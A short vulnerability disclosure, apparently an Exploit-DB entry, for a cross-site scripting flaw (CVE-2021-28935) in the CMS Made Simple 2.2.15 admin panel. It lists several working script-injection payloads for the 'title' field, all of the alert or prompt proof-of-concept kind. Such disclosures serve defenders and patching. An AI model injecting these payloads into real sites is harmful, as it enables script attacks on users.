# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)# Date: 2021/03/19# Exploit Author: bt0# Vendor Homepage: http://www.cmsmadesimple.org/# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip# Version: 2.2.15# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935-----------------------------------------------------------
If you log into Admin panel andopen My Preferences you could be able to exploit XSS in title field
Reflected XSS in/admin/addbookmark.php
Some payloads that works:"><script>prompt(1)</script><""><script>alert(1)</script><"63311';alert(1)//812//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>------------------------------------------------------------